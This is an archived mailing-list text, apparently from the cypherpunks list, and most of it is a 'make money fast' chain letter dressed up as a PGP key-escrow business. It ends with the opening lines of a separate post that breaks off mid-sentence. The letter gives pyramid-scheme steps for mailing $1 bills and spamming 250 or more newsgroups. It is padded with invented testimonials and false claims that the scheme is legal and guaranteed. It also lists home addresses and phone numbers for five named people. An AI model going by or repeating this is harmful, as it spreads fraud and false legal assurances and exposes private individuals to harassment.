lottery for a week, and give this a try. It can work for ALL of us.

Why am I willing to share this secret knowledge with you when it's worth
so much? To make money? Not even close! First of all, I already have all
the money and possessions I'll ever need. Second, I don't stand to lose
any money by telling you how to make money for yourself. It doesn't
involve any competition at all. Third, nothing pleases me more than
helping out others who recognize an incredible opportunity and jump
right on it.

I wasted quite a bit of money sending away for one money- making scheme
after another. I found out what you probably already know. They all
turned out to be garbage. The only one who made any money were the
companies who sold them, like RSA.

About six months ago I received the enclosed post in letter form. I
ignored it. I received about five more of the same letter within the
next two week.I ignored them also. Of course, I was tempted to follow
through and dreamed of making thousands, but I was convinced it was just
another gimmick and could not possibly work.

In October 1996, I received a letter in the mail telling me how I could
earn $50,000.00 or more whenever I wanted. I was naturally very
skeptical and threw the letter on the desk next to my computer. It's
funny though, when you are desperate, backed into a corner, your mind
does crazy things. I spent a frustrating day looking through the want
ads for a job with a future. The pickings were sparse at best. That
night I tried to unwind by booting up my computer and reading several
newsgroups. I read several of the messages posted and then glanced at
the letter laying next to the computer. All at once it became clear to
me. I now had the key to my dreams.

I was wrong! About three weeks later I saw this same letter posted on a
local bulletin board in Montreal. I liked the idea of giving it a try
with my computer. I didn't expect much because I figured, if other
people were as skeptical as I, they would not be too quick to part with
$5.00. But, I BUY LOTTERY TICKETS WEEKLY IN CALIFORNIA AND HAVE NOTHING
TO SHOW FOR IT BUT TICKET STUBS! This week I decided to look at this as
my weekly lottery purchase. I addressed the envelopes and mailed out
$1.00 in each as directed. Two weeks went by and I didn't receive
anything in the mail. The fourth week rolled around and I couldn't
believe what happened! I can not say that I received $50,000.00, but it
was definitely well over $35,000.00! For the first time in 10 years I
got out of debt. It was great. Of course, it did not take me long to go
through my earnings, so I am using this excellent money opportunity once
again. FOLLOW THE INSTRUCTIONS AND GET READY TO ENJOY!

I realized that with the power of the computer I could expand and
enhance this money making formula into the most unbelievable cash flow
generator that has ever been created. I substituted the Usenet
newsgroups in place of the post office and electronically did by
computer what others were doing by mail. Now only a few letters are
mailed manually. Most of the hard work is speedily downloaded to other
bulletin boards throughout the world. If you believe that some day you
deserve that lucky break that you have waited for all of your life,
simply follow the easy instructions below. Your dreams WILL come true.

This PGP MLM is completely different. It's unlike anything you could
ever imagine! I used to be "the little guy". Poor, trying to make ends
meet (and losing) and with no opportunity whatsoever. And now it's my
turn to give something back to the "little guy".

My PGP MLM is incredibly simple. Anyone can use it. You can get started
for almost NO MONEY ($5) and the risk is ZERO! You don't need special
training or even a high school education. There's no physical labor
involved. It doesn't matter how young or how old you are. It's simple
enough for a child to learn in a couple hours. You can use PGP in the
comfort of your home or even while your on vacation!

I'll tell you more about this amazing MLM:

With the PGP MLM the money rolls in FAST. If you can follow easy
instructions you can get started in a single afternoon and have CASH in
your pocket the next morning! In fact, this just might be the fastest,
most honest, legal method to make money ever invented! It's risk-free
and it's not a dangerous gamble. Everything you do is proven and
GUARANTEED. You can get started for absolutely nothing. The method is so
simple, it would be hard to make a mistake even if you tried!

This is a VERY safe way to get cash. Making money with PGP is a snap.
You'll be amazed at how easy it really is. You can work whenever you
want. You're not tied down to anything or anybody. You're your own boss
and you make your own hours.

One of the nicest things about this MLM is that anyone can do it in
their own home. No office. No equipment. No staff. No overhead. NO
hassles. It doesn't even matter where you live. It's perfect for
students, homemakers, kids, seniors and anyone who likes the idea of
being insanely rich! It's also perfect if you're just looking for a
little bit of extra cash.

PGP will blow your mind! When you use it to make money you never have to
try to convince anybody of anything. There's no door-to-door selling, no
telemarketing and no real estate or anything that involves personal
contact. So you don't have to be a good sales person because there are
no sales!

PGP is completely legal and honest. You'll sleep good at night knowing
that you are providing a very valuable key escrow service. You'll be
proud of what you are doing.

Professional care has been taken to insure that this Marketing Plan does
NOT violate any laws! (Reference U.S. Code, Title 18 Section 302,1343,
and TITLE 39, Section 3005).

You're probably sceptical. I wouldn't expect less from you. It just
shows you have good business sense.

One enterprising young man learned to escrow PGP keys as described here
and tried it his first day and made $2,000 profit in just a few hours.
"This is the ultimate lazy man's way to riches. You'll be amazed at how
easy it is. And you may very easily do better than $2,000 with the
step-by-step instructions he will send you. Thanx John."

Another man, from Chicago, lined up a $30,000.00 profit in his first two
months. Now he works three days a week and takes the rest of the month
off.

"Gilmore's 'Incredible 7-Step Path to Success' is a MUST for anyone who
contemplates making huge amounts of money as an independant
entrepreneur."

"I never really believed those success stories...never thought I'd be
one of them...using PGP, in just 8 months I made over $203,000...made
over $22,000 in the last two and a half weeks! It's simple...easy...very
fast...Mr. Gilmore, thank you for your Cypherpunks MLM."

"If you'd like to make some quick cash, this is the opportunity you've
been waiting for. This is good and honest money. This MLM could make you
more money then you would know what to with, though I'm sure you could
figure out something! I was supplied with detailed instructions and cash
was available the very next day. Thank you John!"

"I'm amazed at my success! By using PGP I made over $600,000 in five
months. That's more than 35 times what I used to make in a year. (I quit
my job after using PGP for 2 weeks!) My whole life I was waiting
for this miracle! Thank you John Gilmore."

"... Your plan is awesome! I never expected something so different and
easy that will actually make me an easy $3,000.00 on a weekly basis. A
GREAT many thanks to you."

".... as an attorney, I come across a lot of money making opportunities,
but I never even heard of anything like this before."

"This is without a doubt the most powerful millionaire-maker in
history.!"

"Two years ago, I mailed you fifty dollars in sheer desperation for a
better life... One year ago, from using PGP, a man called and offered me
a partnership... I grossed over $160,000 cash business in seven months!
You are a God sent miracle to me. Thank you Micheal and God Bless you
and your family."

"He does more than give general ideas. He gives people an easy to
follow, A to Z plan to make big money."

"I didn't believe you when you said PGP could make me money by the next
morning. Man, was I wrong! By the VERY NEXT MORNING $7200 poured in, in
less than 24 hours!! I am still dumbfounded to tell you the honest
truth. To anyone who is considering using PGP: Just Do It! I was
sceptical at first but trust me the $5 is well worth it! You literally
make it back in a day. To the authors of PGP: thank you for making me
rich rich rich! I'm not done using your plan yet!

One man claims he and his wife can "make a million dollars in a few
hours while watching television."

PGP key escrow has been named the "most amazing money-making,
life-changing, best-kept secret EVER!" "If you can't become a
millionaire with this program, you can't become a millionaire at all."
That's probably true.

I heard an ex-auto worker from Detroit was one of the first to put PGP
to work. He had been downsized recently from one of the big auto makers.
Simply put, he had been laid off with no hope of returning soon. He took
a chance on himself and, that' s right!.... He downloaded PGP and
followed the easy instructions. Word has it within three weeks he made
over $4,000.00. And this was just in his spare time.

As you can tell by now, I've found something pretty good. I think I've
come across the sweetest money-making program you could ever imagine.
Remember- I GUARANTEE IT!

Usually it takes big money to make big money. This is the exception.
With PGP you can start in your spare time with almost no money. But you
don't have to start small and you don't have to stay small. You can go
as fast and as high as you wish. The size of your profits are totally up
to you. I can't guarantee how much money you'll make by using PGP,
because that part's up to your needs, your wants and your dreams.

And there you have it. At last I've explained this remarkable program in
a special money-making plan. I call it "GILMORE'S INCREDIBLE PLAN TO
WEALTH". Some call it a miracle. Others call it "the crypto program that
changed my life and gave me astounding wealth." You'll probably call it
"The Money Program". You'll learn everything you need to know
step-by-step. So you too can put this amazing money making program to
work for you and make ALL THE MONEY YOU WANT.

Do you realize what this means? You can use this incredible program FREE
and without any risk. And if for ANY reason you are not 100% satisfied
after using the MLM for 30 days, I will send you your $5 back, PLUS an
extra $20 CASH, for absolutely FREE, just for giving PGP an honest
effort according to the simple, easy to follow instructions! So if you'd
like to make a quick ten grand in 24 hours this is just for you!

I GUARANTEE IT! And with my guarantee there's absolutely NO RISK ON YOUR
PART!

I just read an article in an Internet newsgroup describing how to make
$50,000.00 in only one month from a $5.00 investment.

Of course I thought this was rediculous ,or some type of pyramid. I
talked it over with my family, an attorney, and my friends, and they all
agreed it was some sort of scam.I hate scams because usually someone
gets burned, and I didn't want it to be me! I blew it off for a few
weeks then saw another one in a newsgroup I go to alot and thought,
"Maybe this is legitimate!". Besides, whats $5.00 , I spend more than
that in the morning on my way to work on coffee and meals for the day.

Well, two weeks later,I began recieving money in the mail! I couldn't
believe it! Not just a little , I mean big bucks! At first only a few
hundred dollars, then a week later, a couple of thousand , then BOOM .
By the end of the fourth week , I had recieved nearly $47,000.00. It
came from all over the world.And every bit of it perfectly legal and on
the up and up. I've been able to pay off all my bills and still had
enough left over for a nice vacation for me and my family.

Not only does it work for me, it works for other folks as well. Ray
Arachelian says he made $57,883 in four weeks. Zach Babayco claims he
made $53,664 in the same amount of time. Chris Lewis says it was only
$17,000 for him. Do I know these folks? No, but when I read how they say
they did it, it made sense to me. Enough sense that I'm taking a similar
chance with $5 of my own money. Not a big chance, I admit--but one with
incredible potential, because $5 is all anyone ever invests in this
system. Period. That's all Markus, Dave, or Dan invested, yet their $5
netted them tens of thousands of dollars each, in a safe, legal,
completely legitimate way.

You can make up to, or over, $50,000 in only 4-6 weeks. I was browsing
through these newsgroups, just like you are now, and I came across an
article similar to this that said you could make thousands of dollars in
only weeks with an initial investment of ONLY $5! And, like you, I
thought " Yeah, right, must be a scam...". But, I was intrigued... like
most of us are...and so I kept reading. Anyway, the article said that
you were to send $1.00 to each of the 5 names and address and the
article in at least 250 newsgroups... there are thousands!.. no
catch...that was all you had to do.

So after thinking it over and talking to a few friends first, I decided
to try it...ofter all, if it really was a scam all I would loose would
be my $5 and the cost of 5 stamps, right...? Well, guess what... within
7 days, I started getting money in the mail...No kidding! I have to tell
you, I was suprised to say the least. I still figured it would end soon
and didn't give it too much thought. But then money kept coming
in...tripling in numbers and multiplying by 10 nad 20 times the amount
that I got the first week! In my first week I made about $20 or $30 .

But by the end of the second week, I had made a total of over $1,000!!
In the third week, I had over $10,000, and it's still growing. This is
my fourth week and I've made about $42,000 TOTAL...and the money is
still coming in.

Sincerely yours,

John Gilmore

INSTRUCTIONS

Follow these instructions EXACTLY, and in 20 to 60 days you will have
received well over $50,000.00 cash, all yours. This program has remained
successful because of the HONESTY and integrety of the participants.
Please continue its success by CAREFULLY ADHERING to the instructions.

Welcome to the world of Public Key Cryptography! This little business is
somewhat different than most mail order houses. Your product is not
solid and tangible, but rather a service. You are in the business of
escrowing Public Keys. Many government agencies are happy to pay big
bucks for public keys. (The money made from the key escrow is secondary
to the income which is made from people like yourself requesting that
their keys be escrowed.)

1. First, you must obtain the program called PGP. These FTP sites have it:

ftp://ftp.funet.fi/pub/crypt/pgp/
ftp://ftp.cert.dfn.de/pub/pgp/
ftp://idea.sec.dsi.unimi.it/pub/security/crypt/PGP
ftp://ftp.nl.net/pub/crypto/pgp
ftp://ftp.nic.surfnet.nl/surfnet/net-security/encryption/pgp
ftp://menja.ifi.uio.no/pub/pgp/
ftp://ftphost.vuw.ac.nz
ftp://leif.thep.lu.se
ftp://nctuccca.edu.tw/PC/wuarchive/pgp/
ftp://sable.ox.ac.uk/pub/crypto/pgp
ftp://ftp.csua.berkeley.edu/pub/cypherpunks/pgp/

If you have access to email, but not to ftp, send a message saying
"help" to ftpmail@decwrl.dec.com or mailserv@nic.funet.fi

2. Now you must install PGP as described in its documentation and run
the PGP key generation command "pgp -kg". PGP shows you a menu of key
sizes. Pick the biggest one available. It also asks for a user ID, which
means your name and e-mail address. Spaces and punctuation are allowed
in the user ID. It would help if you put your E-mail address in <angle
brackets> after your name, like so:

    John Gilmore <gnu@toad.com>

PGP also asks for a "pass phrase" to protect your secret key in case it
falls into the wrong hands. Nobody can use your secret key file without
this pass phrase. The pass phrase is like a password, except that it can
be a whole phrase or sentence with many words, spaces, punctuation, or
anything else you want in it. Don't lose this pass phrase-- there's no
way to recover it if you do lose it. This pass phrase will be needed
later every time you use your secret key. The pass phrase is
case-sensitive, and should not be too short or easy to guess. It is
never displayed on the screen. Don't leave it written down anywhere
where someone else can see it, and don't store it on your computer.

3. Now use the "pgp -kxa userid keyfile" command to copy your new public
key from your public key ring and place it in a separate public key file
suitable for distribution to your friends for escrow and inclusion in
their public key rings.

4. Invest your $5 by writing your name and e-mail address on five
separate pieces of paper along with the words, "Please escrow my PGP
key. You are number __", and a copy of the keyfile. In this way, you're
not just sending a dollar to someone. Key escrow is a legitimate service
that you are requesting and you are paying $5.00 for this service. Fold
a $1 bill (or a loonie), money order, or bank note inside each piece of
paper that you just wrote on and fold the piece of paper so the bill
will not be seen in the envelope (otherwise, nosey people who like to
steal mail with money in it will get yours!) and mail them by standard
U. S. Mail to the five addresses listed below.

#1 John Gilmore <gnu@toad.com>, P.O.Box 170608, San Francisco, CA
94117, 415-221-6524

#2 Timothy C. May <tcmay@got.net>, 427 Allan Lane, Corralitos, CA
408-728-0152.

#3 Ray Arachelian <ray@earthweb.com>, 48-21 40th St, Apt 2B, Long Island
City, NY 11104-4111, 718-786-4227

#4 Alan Bostick <abostick@netcom.com>, 680 66 St., Oakland, CA 94609,
510-658-7176

#5 Jason Durbin <jed@poisson.com>, 8 Avocet Drive, #211, Redwood Shores,
CA 94065, 415-637-0435

5. Remove the name that appears as number 1 on the list. Move the other
4 names up one position (Number 2 becomes number 1, number 3 becomes
number 2, and so on). Place your name, address, zip code, and e-mail
address in the number 5 position.

6. With your name in the number 5 position, upload this ENTIRE amended
file to at least 250 different Usenet newsgroups. I'm told that there
are close to 30,000 of them, and all you need is 250 or so. Use the
subject header to draw attention to this file and its great potential
for all of us. See Netscape and Internet Explorer instructions below.
Try posting to as many newsgroups as you can. Remember: the more groups
you post to, the more people will see your article and send you cash!

7. Sit back and relax. You are now in business for yourself, and should
start seeing returns within 7 to 14 days! Remember, the Internet is new
and huge. There is no way you can lose.

HOW TO POST TO USENET:

If you use Netscape Navigator 3.0, do exactly the following:
     A) Highlight all newsgroups you want to mail your letter to which as you
know is done by holding down CTRL while left clicking. This way you can select
multiple newsgroups in one go, choose perhaps a dozen each time. You will then
see all the newsgroups you highlighted displayed in the Newsgroups Field. Then
click on "TO NEWS" which is on the far left when you're in the newsgroup page.
This will bring up a box to type a message.
      B)  Leave the "Newsgroups" box like it is. CHANGE the "Subject:" box
to something eye-catching like "NEED CASH $$$ READ HERE $$$" or "FAST
CASH!!" or "$$$ PROTECT YOUR PRIVACY AND MAKE MONEY FAST $$$"
      C)  Tab once and you should be ready to type. Now, paste (only once)
this entire article, word for word, except to insert your name at #5
and to remove #1 off the list, plus any other small changes you  think you
need to make.  Keep almost all of it the same however. It works!!!
     D)  If you still have all of your text, send or post to this
newsgroups now by just clicking the "SEND" button (just below the "FILE"
dropdown menu and just above the CC: button)
     E)  Here's where you're going to post to 250 or more, newsgroups.
OK... click on any newsgroup then click on "TO NEWS".. again, in the top
left corner of your screen.  Leave the newsgroups box alone again, put a
flashy subject title in the SUBJECT BOX, hit TAB once and you're in the
body of the message.  Now paste this article again.

If you use Microsoft Internet Explorer, it's just as easy:

  Holding down the left mouse button, highlight this article. Then press the
"CTRL" key and the "C" key at the same time to copy the article. Or, go to the
EDIT dropdown menu and select COPY. Next, go to the newsgroups and press "POST
AN ARTICLE". A window will open. Type in your flashy headline in the SUBJECT
area and then click in the large window below. Press "CTRL" and then "V" and
the article will be pasted in the window. (Or, go to EDIT and then PASTE.) If
you want to edit the article, you can do so and then highlight and copy it
again (so your edited article will be copied again and again to each
newsgroup).
  Now, every time you post the article in a new newsgroup all you have to
repeat is "CTRL" and "V" and press POST.
  F) That's it! Each time you do this, all you have to do is choose a different
newsgroup so you can post this message to 250 or more, DIFFERENT, newsgroups. I
know, I know,... you've still got 249 to go! Don't worry, each successive
article will only take about 30 SECONDS once you get the hang of it. Remember,
250 is the MINIMUM ... The more you post, the more money you will make!

Repeat the process over and over again by selecting further newsgroups
in multiples of 10's but try to be selective with the groups by posting
to high volume locations, and don't choose a subject that appears TOO
flashy, this will only put people off. This is an honest and legitimate
way of making a reasonable amount of money, and making it on a regular
basis. But only if your message is sincere and clearly understood by
others will you succeed.

You are now in the key escrow business and will start receiving your $1
envelopes from various people all over the world within days.

REMEMBER... The more newsgroups you post to, the more money you will
make! You may want to rent a P.0. Box eventually because of all the
mail. If you wish to stay anonymous, you can come up with a name, such
as "Manager" or "Investor" ... Just make sure all the address that you
have typed in for the 4 people plus yourself are correct, PLEASE.

Now here is how and why this public key escrow system works:

The Internet is growing daily at a phenomenal rate, quadrupling once a
year. Perhaps you already know this. With millions of people surfing the
Internet and an estimated 100,000 users scanning the newsgroups of which
there are nearly 30,000. This exposure is the key factor and the reason
why: You me and all those who take part cannot fail not to be
disappointed. Just think about it, if you became interested in this
article, why shouldn't thousands of others!

At first, I posted to nearly 250 newsgroups, but due to the response
soon increased this to 300, which brought in mail from Europe the Far
east, Australia and America. So with my first dozen replies I made
$12.00. But to simplify matters and keep the arithmetic easy, suppose I
had posted to 200 newsgroups with my name at five and just had five
replies which would have meant I earned $5.00.

In theory you make $5.00 for every two hundred postings with your name
at #5. Each person who sent you a $1.00 now also makes two hundred
postings with your name at four equating to $50.00. Your fifty new
agents also make two hundred postings each with your name at three, say
ten thousand postings equating to $500.00. These five hundred agents
again make two hundred postings each with your name at two equating to
$10.000 or one hundred thousand postings.

Finally, five thousand people once again make two hundred postings with
your name at one and this would equate to the mathematical statistic of
$50.000 before your name drops off the list. Which is pretty exciting
and mind boggling considering these figures are based on only two
hundred postings at a time being made down the line! Most people may
think these figures are ridiculous, but they do add up. After all they
do say the success of the Internet is due to it's sheer capacity of over
40 million.

Technically, you only need an average return of 2.5% from the 200
postings that each person makes in order to achieve these high figures.
So with the Internet comprising of 40 million user's the sky really is
the limit!!!

It's a never ending money making process because when your name finally
drops off the list, or indeed before if you really need the cash (and
who doesn't) you simply access another newsgroup posting and begin the
process over again, placing your name at Five. Please remember to upload
this article to as many newsgroups, local bulletin boards, message areas
and file sections as possible. The financial rewards are guaranteed, but
as stated, the level of success depends upon your efforts! And how much
posting you do.

This posting has been appearing for quite some time and has now
literally got thousands of people actively involved. No doubt like me,
you may have seen it before and become a little confused by the way it's
been explained. However, I personally have never believed in a so called
"Free lunch" and have always worked hard to support my family. But this
idea is so simple involving only a modest $5.00 investment that I simply
had to try it. At first, it took me quite a while to figure it out - my
first impressions led me to believe that there must be someone behind it
who alone is benefiting. But this isn't so, you only have to look at the
various postings to realise this; the thousands of postings that are
made all carry different names and addresses. So with so many people
involved I became convinced that with this particular program I too
could benefit. Although many of the postings have been modified the
basic principal remains the same, in my opinion the only problem has
been the way the initial concept has been repeatedly changed.

With this in mind I have set out to explain what I consider to be a
clearer version, in the hope there is no doubt in people's minds that
it's fully understood. Because believe me, this system does work! In
general, these postings lead you to believe you can make $50,000 within
a month, which I think is a little over the top. But now ten days after
my initial involvement, I'm beginning to get a reasonable and realistic
return with a further understanding of just how big this concept is. I
still cannot believe it - the money is coming in from all over the
world. That money sure comes in useful, but what's more important is the
fact I have proved this is a totally workable and legitimate system
involving no risk and no major cash outlay. My other concern was the
legal aspect, so I checked this through and was told that providing I
mail one dollar to the person I am asking to escrow my PGP key, I am in
fact paying for a service.

As a personal note:

The above figures are for demonstration purposes only with the whole
concept and current success based upon the number of people
participating. And the number of newsgroups and file sections you post
this article to. Yes, it really depends on you the individual! How much
money you want to make rests in your hands. Accessing newsgroups is very
easy considering there are nearly 30,000 to choose from. Your success
rate is determined by the amount of newsgroups accessed, you must follow
through and post this or your own similar article to hundreds of
newsgroups; maximise your postings and you maximise your cash intake.

The end result depends on you. You must follow through and repost this
article everywhere you can think of. The more postings you make, the
more cash ends up in your mailbox. It's too easy and too cheap to pass
up!!!

So that's it. Pretty simple sounding stuff, huh? But believe me, it
works. There are millions of people surfing the net every day, all day,
all over the world. And 100,000 new people get on the net every day. You
know that, you've seen the stories in the paper. So, my friend, read and
follow the simple instructions and play fair. Thats the key, and thats
all there is to it. Print this out right now so you can refer back to
this article easily. Try to keep an eye on all the postings you made to
make sure everyone is playing fairly. You know where your name should
be.

If you're really not sure or still think this can't be for real, then
don't do it. But please print this article and pass it along to someone
you know who really needs the bucks, and see what happens.

People have said, "What if the plan is played out and no one sends you
the money?" So what! What are the chances of that happening when there
are TONS of NEW honest users and NEW honest people who are joining the
Internet and newsgroups every day and are willing to give it a try?
Estimate are at 20,000 to 50,000 new users, EVERYDAY, with thousands of
those joining the actual Internet. Remember, play FAIRLY and HONESTLY
and this WILL WORK... I promise you. You just have to be honest. Make
sure you print this article out RIGHT NOW (if it's not done yet).

Also... try to keep a list of everyone that sends you money and always
keep an eye on the newsgroups to make sure everyone is playing fairly.

PLEASE NOTE: This system is based on everyone being honest, but it's all
too tempting not to bother mailing out envelopes with dollar bills
inside. The success for all participating is dependant upon this taking
place and if carried out will mean a 500% increase on your article being
redistributed!

The system won't work to yours or indeed other people's advantage if you
don't follow the procedure. You can however, if you wish to remain
anonymous use a pseudonym - but please ensure your address is correct.

AS A FINAL NOTE: Many business ideas for making money, no matter how
well thought out and implemented simply don't get off the ground. And in
most cases is due to advertising costs, but the exposure obtained
through the Internet is quite honestly - pretty awesome, so please study
this article carefully taking all the time you want, because the moment
you begin participating you will be on track for some serious financial
rewards. By the very nature of the way the system works you may not see
the benefits the first week.

BUT COMMENCING THE SECOND WEEK, YOUR INTAKE OF MAIL FROM AROUND THE
WORLD WILL TRULY ASTONISH YOU!

Please give this some serious thought, because this is one of the few
money making schemes that really does work... GOOD LUCK!!!

REMEMBER... HONESTY IS THE BEST POLICY... YOU DON'T NEED TO CHEAT THE
BASIC IDEA TO MAKE MONEY!! Good luck to all and please play fairly and
you will reap hugh rewards from this!

By the way, if you try to deceive people by posting the messages with
your name on the list and not sending the money to the people already on
the list, YOU WILL NOT GET MUCH RETURN! Someone I talked to (mean and
cheap) just did that and he only made $150 after 7 to 8 weeks!! Then he
sent the five $1 bills out... people added him to their lists ... and in
5 weeks, he had OVER $10,000! He than realize that there is no way to
cheat with himself.

THIS IS THE FAIREST AND MOST HONEST WAY I HAVE EVER SEEN TO SHARE THE
WEALTH OF THE WORLD WITHOUT COATING ANYTHING BUT FIVE DOLLARS AND A
LITTLE OF YOUR TIME! DO IT LIKE IT'S LAID OUT HERE... IT WILL WORK!!

Within 60 days you will receive over $50,000.00 in CASH.

Keep a copy of this file for yourself so that you can use it again and
again whenever you need money. As soon as you mail out these letters you
are automatically in the mail order business. People will be sending YOU
$5.00 to escrow their PGP keys.

This is a service.  **  IT IS PERFECTLY LEGAL  **

If you have any doubts as to the legality of this service, please refer
to Title 18, Sections 1302 and 1341 of the Postal Lottery Laws.

NOTE: Make sure that you retain EVERY name, address, and PGP key sent to
you, either on computer or hard copy, but do not discard the names and
notes that people send to you. This is PROOF that you are truly
providing a service, and should the I.R.S. or some other government
agency question you, you can provide them with this proof!

Remember, as each post is downloaded and the instructions carefully
followed, two memebers will be reimbursed for their participation as a
List Developer with $5.00 each. Your name will move up the list
geometrically so that when your name reaches the number 2 position you
will be receiving thousands of dollars in cash.

REMEMBER  -  THIS PROGRAM FAILS ONLY IF YOU ARE NOT HONEST  -  PLEASE!!
             PLEASE BE HONORABLE...IT DOES WORK!  THANK YOU


Testimonials from satisfied PGP users:

    Hey....

I'm one of the people who downloaded PGP a while ago, and I've made
quite a profit...not 50,000 dollars, but TONS more than the 5 bucks I
sent in. It might take more than 60 days to get 50,000, but I think I
can wait.

    Zach Babayco

    ANOTHER ADDITION BY A PARTICIPATING MEMBER


    PLEASE just try this and do it right it's only 5 dollars and its
legal, but DON'T try to cheat the system or you are cheating yourself!


    WHAT HAVE YOU GOT TO LOSE, A MAXIMUM OF ```5$ !JUST TRY IT! SPREAD
IT EVERYWHERE, THE MORE YOU SPREAD THE MORE YOU MAKE!

    ******************************************************************
    *** ANOTHER ADDITION BY -=XxX=- **********************************
    ******************************************************************

    THIS WORKS !!!!!!!!!!!!!!!!!!! I AM PROOF !!!!!!!!!!!!!!!!!!!!!!!

    DO IT...!!!!!!!!!!

*****************************************************************************

    THIS IS REAL AND LEGAL. AND IF U DO NOT FOLLOW THE DIRECTIONS
EXACTLY AND DO NOT RECIEVE ANY OR LITTLE MONEY. DO NOT BLAME IT ON THE
MAILING LIST NAMES. JUST INCLUDE YOUR NAME OR WHERE U GOT THIS TEXT FILE
FROM EXAMPLE AMERICA ON LINE ETC... ALSO THE NAMES ON THIS LIST HAVE
NOTHING TO DO WITH IF YOU GET YOUR MONEY OR NOT. IT IS GUARANTEED YES
THAT YOU WILL GET YOUR MONEY BUT THIS PROTECTS ALL NAMES ON THIS TEXT
FILE. AND JUST REMEMBER IT IS NOT OUR FAULT THAT YOU READ THE DIRECTIONS
WRONG AND DID NOT RECIEVE ALL YOUR MONEY. IF U DID NOT SEND IN ONE
DOLLAR TO EACH 5 NAMES THAT WILL MAKE IT SO YOU WILL NOT GET MONEY SO
FOLLOW AND FOLLOW THE DIRECTIONS CAREFULLY!!!!!!!!!!!! AND PROMISED
50,000 DOLLARS WILL COME!!!!!!!!

    Timothy C. May

    This system works equally well if mailed out manually. Mind you it
takes more effort to hand address the envelopes and the cost goes up
proportionately to cover the postage and envelopes. You must also photo
copy the instructions, cross out the name in number one position, write
in your name in the number ten slot and change the rest of the numbers
accordingly. (It might be neater to use white out or paste over the
names.) In order to achieve the same results you must send out the $1.00
to the first five names and then send out another 100 letters with
copies of the program enclosed.

    It has been suggested not to put a return address on the outside of
the envelope in order to encourage the recipient to open it. The return
will approximate that then received from the posts listed on the
bulletin boards.

    OK HERE'S THE DEAL. AT PRESENT I AM A BUSINESS MAJOR AT VANDERBILT
AND THIS PROGRAM MAKES A WORLD OF SENSE TO ME. I RECENTLY READ ABOUT A
GUY THAT TOOK A PENNY FROM EVERY PERSON'S BANK ACCOUNT AT THE NEW YORK
CITY BANK. AFTER 2 YEARS OF DOING THIS ILLEGALY HE BECAME A MILLIONAIRE.
BUT GOT GREEDY AND GOT CAUGHT. SAME PRINCIPLE HERE. TAKE A DOLLAR FROM
EVERYONE WHO GETS THIS AND ALTHOUGH THEIR GIVING PRACTICALLY NOTHING,
THE RECEIVER IS GETTING LOTS. SORTA THE HUMANE THING TO DO. IF YOU COULD
GIVE A GUY A BUCK AND HELP HIM HAVE THE MONEY TO PAY OFF A DEBT OR SAVE
MONEY FOR RETIREMENT WHY NOT? THEN AFTER YOU SEND A DOLLAR JUST
MANIPULATE THIS FILE LIKE IT STATES ABOVE AND PEOPLE WILL BE HELPING YOU
OUT TOO. MY DAD TAUGHT BE TO BE CAREFUL OF THINGS THAT SOUND TO GOOD TO
BE TRUE CAUSE THEY USUALLY ARE BUT WHAT CAN YOU LOSE BY GIVING $5!!! YOU
HAVE ALL TO WIN AND NOTHING TO LOSE. L8R

    Hi all, I will not say my name, as I wish to remain anonymous, but I
have something to say. IT WORKS. I am THE most sceptical person on the
face of the earth. I saw this, and say _-=BS=-_..no
way...impossible..then my friend told me he did it.. he said he made
about 50 bucks..I said no way..he proved it to me.. I decided, what the
hell...I sent out my 5 bucks, and Sent this thing to about a 400 people,
not to BBS's, just E-mail. 3 weeks went by, and I FINALLY got ONE dollar
in the mail. It has been about 3 months since that day I got my first
dollar, and now every day when I go to get my mail, there are about 3
dollar bills in my box waiting for me. I have made almost 300 dollars. I
dunno about that guy and his 50 thous., but if someone offered you 300
dollars for FREE, would you take it? Do this guys...it WORKS!!!

    Jason Durbin

    Hey guys,

    I am #5. I just got this a few days ago as an e-mail. Over my life I
have received over 50 e-mails just like this, which I avoided. Finally I
am gonna give it a shot. If it works, great, but if it doesn't than oh
well. Its only 5 bucks guys. That's it. And forwarding this to everyone
you know, and U/Load it to Newsgroups and BBS's. So far, I have sent
this to over 2000 people on the net, including BBS's, Newgroups, IRC,
and America Online. The more copies you send out, the more of a chance
you have of getting money in the mail. You guys may not $50,000 heh ehh.
I doubt anyone can. They all just say that to get your attention. But
possibly you could get at least $500. But hey, if someone offerd you
$500 would you take it? Of cource would. All it is, is just 5 dollars.
That's it. Send a dollar each to each address listed below. Include your
name, address, e-mail address, and where you got "FASTCASH.TXT" from.
Just give it a shot guys. Its perfectly legal, I know that cause a few
of my friends did and they together all made about $750. heh heh, the
IRS is not gonna come knocking on your door or the FBI or any other
government agency. Those are all rumors from people who were
unsuccessful at doing this. HONESTY COUNTS. Once you've sent the dollar
to someone you are added to their mailing list. Just give it a shot
guys. Its only $5. What do else are you gonna do. Just be patient for
your money to arrive. Its not all gonna come the day you send the 5
bucks. It may take 2 or 3 weeks for the money to role in. Then for the
next 2 months, everyday you will be receiving letters with dollar bills
in your mailbox.

    Alan Bostick

    10-20-96

    Hi I have found that the best way to do this is to use the news part
of Netscape 3.0. All you have to do is click on "To News" in the upper
lefthand corner. Copy this article to your clipboard, if you are using
windows, then go into your clipboard while you still have the News box
open. Edit the artile as necessary and then select edit "copy". Next go
back to your News box and select edit &quot;paste&quot; and you will
find that the article is posted in the box with all the necessary
changes. Put a flashy subject in the subject box to attract attention,
then you can send it to a newsgroup and your on your way to make big
bucks.


    **********************************************************
    *** REMEMBER....HONESTY IS THE BEST POLICY.YOU DON'T   ***
    *** NEED TO CHEAT THE BASIC IDEA TO MAKE THE MONEY!    ***
    *** GOOD LUCK TO ALL,AND PLEASE PLAY FAIR AND YOU WILL ***
    *** WIN AND MAKE SOME REAL INSTANT FREE CASH!          ***
    **********************************************************




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 11 Jan 1997 00:30:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Einstein's Dreams
Message-ID: <32D76B59.4FBE@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


As the city melts through fog and the night,
   one sees a strange sight. Here an old bridge is
   half-finished. There, a house has been removed
   from its foundations.  Here, a street veers east
   for no obvious reason.
   ...This is a world of changed plans, of sudden
   opportunities, of unexpected visions. For in 
   this world, time flows not evenly but fitfully
   and, as consequence, people receive fitful
   glimpses of the future.
       -excerpt from "Einstein's Dreams"
            by Alan Lightman

   In 1989, Bill Gates was just another player in the wonderful 
world of computers. Phil Zimmerman was a wanna-be cryptographer.
And CypherPunks were merely a fitful glimpse of the future.

  In 1989 a document began quietly circulating in certain computer
